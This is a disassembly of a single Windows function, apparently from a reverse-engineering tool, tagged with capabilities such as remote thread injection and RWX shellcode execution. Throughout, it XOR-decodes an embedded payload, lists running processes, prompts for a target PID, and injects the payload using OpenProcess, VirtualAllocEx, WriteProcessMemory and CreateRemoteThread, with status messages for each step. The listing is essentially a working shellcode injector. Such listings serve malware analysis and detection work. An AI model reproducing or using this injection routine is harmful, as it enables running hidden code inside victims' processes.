Function at 0x140001672
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x420b0
call fcn.140002ed0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x42040], ecx
mov qword [rbp + 0x42048], rdx
call dbg.__main
mov dword [rbp + 0x4202c], 0
cmp dword [rbp + 0x42040], 2
jne 0x14000171d
mov rax, qword [rbp + 0x42048]
add rax, 8
mov rax, qword [rax]
lea rdx, section..rdata
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400016e6
lea rcx, str._info__Verbose_Mode_Activated._n
call sym.printf
mov dword [rbp + 0x4202c], 1
jmp 0x14000171d
mov rax, qword [rbp + 0x42048]
add rax, 8
mov rax, qword [rax]
lea rdx, [0x140042028]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000171d
lea rcx, str._info__Verbose_Detailed_Mode_Activated._n
call sym.printf
mov dword [rbp + 0x4202c], 2
lea rax, [0x140010020]
mov qword [rbp + 0x42020], rax
mov eax, dword [0x140041758]
mov dword [rbp + 0x4201c], eax
lea rax, str.minefav
mov qword [rbp + 0x42010], rax
mov eax, dword [rbp + 0x4201c]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x42008], rax
mov r8, qword [rbp + 0x42008]
mov rcx, qword [rbp + 0x42010]
mov edx, dword [rbp + 0x4201c]
mov rax, qword [rbp + 0x42020]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.xor
lea rax, [rbp - 0x30]
mov edx, 0x42000
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov edx, dword [rbp + 0x4202c]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.getRunningProcesses
mov dword [rbp + 0x42004], eax
mov dword [rbp + 0x42028], 0
jmp 0x14000181d
lea rcx, [rbp - 0x30]
mov edx, dword [rbp + 0x42028]
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 3
add rax, rcx
lea rcx, [rax + 4]
mov edx, dword [rbp + 0x42028]
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 3
lea rax, [rax + 0x42030]
add rax, rbp
sub rax, 0x42060
mov eax, dword [rax]
mov r8, rcx
mov edx, eax
lea rcx, str.PID:___lu___name:___s__n
call sym.printf
add dword [rbp + 0x42028], 1
mov eax, dword [rbp + 0x42004]
cmp dword [rbp + 0x42028], eax
jb 0x1400017c0
lea rcx, str.Please_set_the_target_PID__
call sym.printf
mov dword [rbp - 0x34], 0
lea rax, [rbp - 0x34]
mov rdx, rax
lea rcx, [0x140042095]
call sym.scanf
mov eax, dword [rbp - 0x34]
mov edx, eax
lea rcx, str._nInjecting_to_PID:__i_n
call sym.printf
mov eax, dword [rbp - 0x34]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x41ff8], rax
cmp qword [rbp + 0x41ff8], 0
jne 0x1400018ad
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_open_process._Error__lu_n
call sym.printf
mov eax, 0xffffffff
jmp 0x140001b78
cmp dword [rbp + 0x4202c], 0
je 0x1400018c2
lea rcx, str._Ok__Opened_process_handle._n
call sym.printf
mov edx, dword [rbp + 0x4201c]
mov rax, qword [rbp + 0x41ff8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x41ff0], rax
cmp qword [rbp + 0x41ff0], 0
jne 0x140001936
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_allocate_memory_in_the_remote_process._Error:__lu_n
call sym.printf
mov rax, qword [rbp + 0x41ff8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140001b78
cmp dword [rbp + 0x4202c], 0
je 0x14000194b
lea rcx, str._Ok__Created_buffer_in_target_process._n
call sym.printf
mov r8d, dword [rbp + 0x4201c]
mov rcx, qword [rbp + 0x42008]
mov rdx, qword [rbp + 0x41ff0]
mov rax, qword [rbp + 0x41ff8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x41fec], eax
cmp dword [rbp + 0x41fec], 0
jne 0x1400019eb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_write_the_shellcode_to_the_remote_process._Error:__lu_n
call sym.printf
mov rdx, qword [rbp + 0x41ff0]
mov rax, qword [rbp + 0x41ff8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x41ff8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140001b78
cmp dword [rbp + 0x4202c], 0
je 0x140001a00
lea rcx, str._Ok__Wrote_shellcode_to_buffer_in_the_target_process._n
call sym.printf
mov rdx, qword [rbp + 0x41ff0]
mov rax, qword [rbp + 0x41ff8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x41fe0], rax
cmp qword [rbp + 0x41fe0], 0
jne 0x140001aad
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_create_remote_thread._Error:__lu_n
call sym.printf
mov rdx, qword [rbp + 0x41ff0]
mov rax, qword [rbp + 0x41ff8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x41ff8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140001b78
cmp dword [rbp + 0x4202c], 0
je 0x140001ac2
lea rcx, str._Ok__Created_remote_thread._n
call sym.printf
mov rax, qword [rbp + 0x41fe0]
mov edx, 0x9c4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x41fdc], eax
cmp dword [rbp + 0x41fdc], 0xffffffff
je 0x140001b1c
cmp dword [rbp + 0x41fdc], 0
je 0x140001b00
cmp dword [rbp + 0x41fdc], 0x102
je 0x140001b0e
jmp 0x140001b35
lea rcx, str._Ok__Remote_thread_ran_successfully._n
call sym.printf
jmp 0x140001b41
lea rcx, str._Ok__Remote_thread_got_caught_on_the_timeout_but_probably_ran_successfully._n
call sym.printf
jmp 0x140001b41
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str._Error__Waiting_remote_thread_failed._Error__lu_n
call sym.printf
jmp 0x140001b41
lea rcx, str._Error__Unexpected_result_from_WaitForSingleObject.__n
call sym.printf
mov rax, qword [rbp + 0x41fe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x41ff8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, str._Ok__Closed_process_and_thread_handles.
call sym.printf
mov eax, 0
add rsp, 0x420b0
pop rbp
ret